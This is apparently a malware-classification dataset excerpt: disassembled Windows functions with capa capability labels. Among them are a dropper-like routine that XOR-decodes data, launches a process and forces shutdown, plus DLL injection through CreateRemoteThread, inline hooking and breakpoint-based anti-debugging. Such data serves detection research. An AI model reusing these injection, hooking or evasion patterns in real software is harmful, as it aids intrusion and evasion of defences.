joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2aa01671
Capabilities:
Check os version
Create process on windows
Delete file
Encode data using xor
Get common file path
Get file size
Read file on windows
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x2aa01110]
push ebx
push esi
mov dword [esp + 0x220], eax
push edi
xor eax, eax
lea ecx, [ecx]
xor byte [eax + 0x2aa02608], 0x76
inc eax
cmp eax, 0x730
jl 0x2aa01691
push 0x104
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x10000000
push 0x2aa01134
call ebx
cmp eax, 0xffffffff
jne 0x2aa01734
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jbe 0x2aa01746
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x2aa01168
call ebx
test ax, ax
jne 0x2aa0172c
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0x2aa01160
push 0
call esi
push 0x3e8
call edi
push 0x2aa01168
call ebx
test ax, ax
je 0x2aa01705
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2aa01168
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
mov edi, eax
push 0x2aa02608
push edi
call sub.CRTDLL.dll_sprintf
mov edx, 0x2aa02608
add esp, 0x30
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x2aa01776
lea edx, [esp + 0x118]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x118]
dec edi
jmp 0x2aa017a0
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x2aa017a0
mov eax, dword [0x2aa01154]
mov ecx, dword [0x2aa01158]
mov dx, word [0x2aa0115c]
push 0
push 0
push 3
mov dword [edi], eax
mov al, byte [0x2aa0115e]
push 0
mov dword [edi + 4], ecx
push 3
push 0x80000000
lea ecx, [esp + 0x130]
mov word [edi + 8], dx
push ecx
mov byte [edi + 0xa], al
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x2aa0184c
xor eax, eax
push eax
mov ecx, 0x41
lea edi, [esp + 0x14]
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push 0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [esp + 0x10]
push edx
push edi
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.2aa01180
push 0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.2aa01220
call fcn.2aa01470
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401440
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push dword [ebp + 8]
call sub.USER32.dll_IsWindow
test eax, eax
je 0x401519
push dword [ebp + 8]
call sub.USER32.dll_GetWindowTextLengthA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4014b7
push 0
push 1
push section..data
push 0xffffffffffffffff
lea eax, [ebp - 0xc]
push eax
call fcn.00407114
lea eax, [ebp - 0x1c]
push eax
call fcn.004071d0
jmp 0x401522
inc dword [ebp - 0x10]
push 0
push 0xffffffffffffffff
push dword [ebp - 0x10]
call fcn.00407208
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
call fcn.00407114
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push dword [ebp + 8]
call sub.USER32.dll_GetWindowTextA
push 0
push 0xffffffffffffffff
push 0
push 1
call fcn.0040725c
add esp, 8
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004072bc
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
call fcn.00407114
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xc]
push eax
call fcn.00407114
lea eax, [ebp - 0x1c]
push eax
call fcn.004071d0
lea eax, [ebp - 0xc]
push eax
call fcn.00407150
mov esp, ebp
pop ebp
ret 4

Function at 0x402380
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
push dword [eax]
call sub.WSOCK32.DLL_inet_addr
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4023d3
mov eax, dword [ebp + 8]
push dword [eax]
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4023c4
jmp 0x4023d9
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax + 0xc]
mov eax, dword [ebx]
mov ebx, dword [eax]
mov dword [ebp - 4], ebx
jmp 0x4023d9
mov ebx, dword [ebp - 8]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405680
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 1
jne 0x4056a9
push 0
push 0x7149
call fcn.004027e0
push 0
push dword [ebp + 8]
call sub.USER32.dll_ShowWindow
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4056c0
Capabilities:
Get graphical window text
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0x405
jne 0x405709
cmp dword [ebp + 0x14], 0x203
jne 0x405709
push 5
push dword [ebp + 8]
call sub.USER32.dll_ShowWindow
push 0
push 0xf120
push 0x112
push dword [ebp + 8]
call sub.USER32.dll_SendMessageA
push 2
push 0
call fcn.004027e0
cmp dword [ebp + 0xc], 0x312
jne 0x4057b0
mov eax, dword [ebp + 0x14]
and eax, 0xffff
cmp eax, 2
jne 0x4057b0
mov eax, dword [ebp + 0x14]
shr eax, 0x10
cmp eax, 0x45
jne 0x4057b0
lea eax, [ebp - 0x204]
push eax
push edi
mov edi, eax
xor eax, eax
mov ecx, pe_nt_image_headers32
rep stosd dword es:[edi], eax
pop edi
pop eax
push 0x200
lea eax, [ebp - 0x204]
push eax
push dword [0x413b40]
call sub.USER32.dll_GetWindowTextA
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0
push 0
push 0x200
lea eax, [ebp - 0x204]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x210]
push eax
call fcn.00407114
lea eax, [ebp - 0x210]
push eax
call fcn.004023f0
lea eax, [ebp - 0x210]
push eax
call fcn.004071d0
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0x10

Function at 0x408f28
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov dword [esp], 0x10
call sub.msvcrt.dll_malloc
mov ebx, eax
test eax, eax
je 0x408f81
mov eax, dword [ebp + 8]
mov dword [ebx + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 8], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x408f98
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.msvcrt.dll__beginthreadex
mov dword [ebx], eax
test eax, eax
je 0x408f8b
mov eax, ebx
add esp, 0x34
pop ebx
leave
ret 0xc
mov dword [esp], ebx
call sub.msvcrt.dll_free
xor ebx, ebx
jmp 0x408f81

Function at 0x4099a8
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [ebp + 8]
add ebx, 0x20
mov eax, dword [ebx*4 + 0x415b88]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
push edx
test eax, eax
je 0x4099eb
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp + 4], 0
mov eax, dword [ebx*4 + 0x415b88]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsSetValue
sub esp, 8
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x409a40
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
add esi, 0x20
mov eax, dword [esi*4 + 0x415b88]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
push edx
mov ebx, eax
test eax, eax
je 0x409a70
mov eax, ebx
lea esp, [ebp - 8]
pop ebx
pop esi
leave
ret 8
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 1
call sub.msvcrt.dll_calloc
mov ebx, eax
mov dword [esp + 4], eax
mov eax, dword [esi*4 + 0x415b88]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsSetValue
sub esp, 8
mov eax, ebx
lea esp, [ebp - 8]
pop ebx
pop esi
leave
ret 8
Function at 0x40b900
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.msvcrt.dll__iob]
mov dword [ebp - 4], esi
lea esi, [ebp + 0xc]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort

Function at 0x40b950
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x40b976
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x40ba0a
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x40b9c5
cmp eax, 0x40
je 0x40b9c5
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x40b969
cmp eax, 0x40
je 0x40b969
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x40b969
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040b900
lea esi, [esi]
lea edi, [edi]
Function at 0x10004264
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov dword [ebp - 4], esi
test eax, eax
jg 0x10004288
jl 0x1000427f
test ebx, ebx
jne 0x10004288
xor eax, eax
xor edx, edx
jmp 0x10004340
cmp dword [esi + 0x38], 0
je 0x1000429d
push eax
push ebx
push dword [ebp + 8]
call fcn.10004805
jmp 0x10004340
mov eax, dword [esi + 0x1c]
push edi
mov edi, ebx
mov ecx, dword [eax]
test ecx, ecx
je 0x100042db
mov eax, dword [esi + 0x2c]
cmp dword [eax], 0
jbe 0x100042db
cmp dword [eax], ebx
mov esi, ebx
cmovb esi, dword [eax]
push esi
push ecx
push dword [ebp + 8]
call fcn.10024b60
mov ecx, dword [ebp - 4]
sub edi, esi
add dword [ebp + 8], esi
add esp, 0xc
mov eax, dword [ecx + 0x2c]
sub dword [eax], esi
mov eax, dword [ecx + 0x1c]
add dword [eax], esi
mov esi, ecx
jmp 0x100042e1
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
cmp dword [esi + 0x4c], 0
je 0x10004335
mov ecx, esi
call fcn.10004db6
mov ecx, dword [ebp + 8]
mov edx, edi
mov eax, 0xfff
cmp edi, eax
jbe 0x10004320
push dword [esi + 0x4c]
push eax
push 1
push ecx
call fcn.100292d3
mov ecx, dword [ebp + 8]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp + 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x10004335
jmp 0x100042f3
test edx, edx
je 0x10004335
push dword [esi + 0x4c]
push edi
push 1
push ecx
call fcn.100292d3
add esp, 0x10
sub edi, eax
mov edx, dword [ebp + 0x10]
sub ebx, edi
mov eax, ebx
sbb edx, 0
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x1000510a
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x1004864b
call fcn.100484e0
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
mov dword [edi + 0x20], ebx
mov dword [edi + 0x24], ebx
mov dword [edi + 0x28], ebx
mov dword [edi + 0x2c], ebx
mov dword [edi + 0x30], ebx
call fcn.1000a124
mov esi, eax
push 1
mov dword [ebp - 4], ebx
call fcn.1000b778
pop ecx
pop ecx
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.100050cd
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x100074d5
Capabilities:
Create thread

Disassembly:
mov eax, 0x10048c8e
call fcn.100484e0
sub esp, 0xf8
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
push 0x100545e0
mov esi, edx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10007643
push str.LoadLibraryW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push edi
push esi
push eax
push edi
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x1000764d
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea eax, [ebp - 0x10]
push eax
push esi
call ebx
cmp dword [ebp - 0x10], 0
je 0x10007676
mov ecx, dword [ebp + 0x10]
call fcn.1000703a
mov ecx, dword [ebp - 0x14]
mov esi, eax
mov edx, dword [ebp + 0x10]
mov ecx, dword [ecx + 8]
call fcn.100077cb
xor ecx, ecx
add eax, esi
push ecx
push ecx
push dword [ebp + 8]
push eax
mov eax, dword [ebp - 0x14]
push ecx
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x100075ad
push str.Failed__2__to_run_CreateRemoteThread_on
lea ecx, [ebp - 0x74]
call fcn.10004b07
push dword [ebp + 0x14]
mov edx, eax
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x5c]
call fcn.100054e8
pop ecx
mov byte [ebp - 4], 8
jmp 0x1000766f
push 0xffffffffffffffff
push esi
call edi
lea eax, [ebp - 0x10]
push eax
push esi
call ebx
cmp dword [ebp - 0x10], 0
jne 0x10007634
push str.Failed_to_inject
lea ecx, [ebp - 0xa4]
call fcn.10004b07
push dword [ebp + 0xc]
mov edx, eax
mov dword [ebp - 4], 9
lea ecx, [ebp - 0xbc]
call fcn.100054e8
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xd4]
mov edx, eax
mov dword [esp], str._into
call fcn.100054e8
push dword [ebp + 0x14]
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xec]
call fcn.100054e8
push str.__2_
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x104]
call fcn.100054e8
add esp, 0xc
mov byte [ebp - 4], 0xd
jmp 0x100076da
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
mov ecx, str.kernel32.dll
call fcn.10008b3f
push str.Failed__1__to_run_CreateRemoteThread_on
lea ecx, [ebp - 0x2c]
call fcn.10004b07
push dword [ebp + 0x14]
mov edx, eax
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x44]
call fcn.100054e8
pop ecx
mov byte [ebp - 4], 1
mov ecx, eax
call fcn.10008aed
push str.Failed_to_inject
lea ecx, [ebp - 0x44]
call fcn.10004b07
push dword [ebp + 0xc]
mov edx, eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x2c]
call fcn.100054e8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x8c]
mov edx, eax
mov dword [esp], str._into
call fcn.100054e8
push dword [ebp + 0x14]
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x5c]
call fcn.100054e8
push str.__1_
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x74]
call fcn.100054e8
add esp, 0xc
mov byte [ebp - 4], 6
mov ecx, eax
call fcn.10008b33
int3
Function at 0x100077cb
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x10048cdd
call fcn.100484e0
sub esp, 0x4bc
push ebx
push esi
mov eax, ecx
mov dword [ebp - 0x18], edx
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp eax, 0xffffffff
jne 0x10007814
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x1000791c
mov eax, dword [ebp - 0x1c]
inc esi
cmp esi, 5
jge 0x1000791c
jmp 0x100077e8
mov dword [ebp - 0x10], eax
xor esi, esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 1
push 0x14
mov dword [ebp - 4], esi
call fcn.1000a124
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
inc eax
mov dword [ebx], vtable.std::_Ref_count_resource_std::nullptr_t__class__struct_HINSTANCE______cdecl_Process::GetRemoteModuleHandle_unsigned_long_int__wchar_t_const__::_2::_lambda_1__.0
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
mov dword [ebx + 0x10], esi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x4a8]
mov dword [esp], 0x200
push esi
push eax
mov dword [ebp - 0x4c8], 0x428
mov dword [ebp - 0x4c4], esi
mov dword [ebp - 0x4c0], esi
mov dword [ebp - 0x4bc], esi
mov dword [ebp - 0x4b8], esi
mov dword [ebp - 0x4b4], esi
mov dword [ebp - 0x4b0], esi
mov dword [ebp - 0x4ac], esi
call fcn.100249f0
push 0x208
lea eax, [ebp - 0x2a8]
push esi
push eax
call fcn.100249f0
add esp, 0x18
lea eax, [ebp - 0x4c8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
mov edi, dword [ebp - 0x18]
jmp 0x100078f8
lea eax, [ebp - 0x2a8]
push edi
push eax
call fcn.10029b5d
pop ecx
pop ecx
test eax, eax
je 0x100078fe
lea eax, [ebp - 0x4c8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
je 0x10007926
jmp 0x100078d5
mov esi, dword [ebp - 0x4ac]
mov ecx, ebx
call fcn.10002124
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
mov ecx, str.CreateModuleSnapshot_failed
call fcn.10008a59
mov edx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x40]
call fcn.1000746b
mov esi, eax
push str.Didnt_find_the_module
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 2
call fcn.10004b07
push edi
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
call fcn.100054e8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x88]
mov edx, eax
mov dword [esp], str._in_process_id
call fcn.100054e8
push esi
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xa0]
call fcn.100071fd
pop ecx
pop ecx
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.10008b33
int3
Function at 0x10008cf0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push esi
imul esi, dword [esp + 0xc], 0x2c
push edi
add esi, dword [0x1005dda0]
mov eax, dword [esi]
mov cl, byte [esi + 0x14]
and cl, 1
lea edi, [eax - 5]
cmove edi, eax
movzx eax, cl
lea ebp, [eax*2 + 5]
lea eax, [esp + 0x10]
push eax
push 0x40
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10008d32
pop edi
pop esi
mov eax, 0xa
pop ebp
ret
push ebx
mov ebx, dword [esp + 0x18]
test ebx, ebx
je 0x10008d58
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x10008d79
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x10008d79
mov eax, dword [esi + 0xc]
test byte [esi + 0x14], 1
mov dword [edi], eax
je 0x10008d73
mov ax, word [esi + 0x10]
mov word [edi + 4], ax
mov al, byte [esi + 0x12]
mov byte [edi + 6], al
jmp 0x10008d79
mov al, byte [esi + 0x10]
mov byte [edi + 4], al
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov cl, bl
xor eax, eax
add cl, cl
shl bl, 2
xor cl, byte [esi + 0x14]
and cl, 2
xor cl, byte [esi + 0x14]
xor bl, cl
and bl, 4
xor bl, cl
mov byte [esi + 0x14], bl
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x10008e40
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
sub esp, 0x20
mov eax, dword [0x1005b240]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
push edi
push 0
push 4
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x10008f3f
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x1c
push eax
push edi
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10008f38
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esp + 0x10], 0x10
jb 0x10008f1d
call ebx
cmp dword [esp + 0x1c], eax
jne 0x10008f1d
call ebp
cmp dword [esp + 0x18], eax
je 0x10008f1d
mov edx, dword [esi]
test edx, edx
jne 0x10008ee5
push 0x200
push edx
mov dword [esi + 4], 0x80
push dword [0x1005ceb4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x10008f38
jmp 0x10008f10
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10008f10
shl eax, 3
push eax
push edx
push 0
push dword [0x1005ceb4]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x10008f38
mov eax, dword [esi + 4]
add eax, eax
mov dword [esi], edx
mov dword [esi + 4], eax
mov ecx, dword [esi + 8]
mov eax, dword [esp + 0x18]
mov dword [edx + ecx*4], eax
inc dword [esi + 8]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x1c
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10008ea5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi], 0
je 0x10008f87
xor ebx, ebx
cmp dword [esi + 8], ebx
jbe 0x10008f87
mov ebp, dword [esp + 0x3c]
nop
mov eax, dword [esi]
push dword [eax + ebx*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10008f81
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push ebp
push dword [esp + 0x3c]
push edi
call fcn.10009340
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x10008f50
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000a605
add esp, 0x20
ret

Function at 0x100094c0
Capabilities:
Resume thread

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp dword [edi], 0
je 0x10009518
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x10009507
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_ResumeThread]
nop word [eax + eax]
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x100094ff
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x100094e0
pop ebp
pop ebx
push dword [edi]
push 0
push dword [0x1005ceb4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop edi
ret
Function at 0x10009520
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x1005dd90]
test eax, eax
je 0x1000953c
nop dword [eax]
cmp dword [eax + 4], 0
jne 0x1000958b
mov eax, dword [eax]
test eax, eax
jne 0x10009530
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x10009599
push esi
push edi
xor edi, edi
mov dword [eax + 8], 0
lea edx, [eax + 0x20]
lea esi, [edi + 0x20]
mov dword [edx], edi
mov ecx, edx
mov dword [eax + 4], edx
add esi, 0x20
add edx, 0x20
mov edi, ecx
cmp esi, 0xfe0
jbe 0x10009565
mov ecx, dword [0x1005dd90]
pop edi
mov dword [eax], ecx
pop esi
mov dword [0x1005dd90], eax
mov edx, dword [eax + 4]
mov ecx, dword [edx]
inc dword [eax + 8]
mov dword [eax + 4], ecx
mov eax, edx
ret
xor eax, eax
ret
Function at 0x10009950
Capabilities:
Check for software breakpoints

Disassembly:
mov edx, dword [esp + 4]
push esi
mov cl, byte [edx]
test cl, cl
je 0x10009965
cmp cl, 0x90
je 0x10009965
cmp cl, 0xcc
jne 0x10009983
mov esi, dword [esp + 0xc]
mov eax, 1
cmp esi, eax
jbe 0x1000997c
cmp byte [eax + edx], cl
jne 0x10009983
inc eax
cmp eax, esi
jb 0x10009972
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret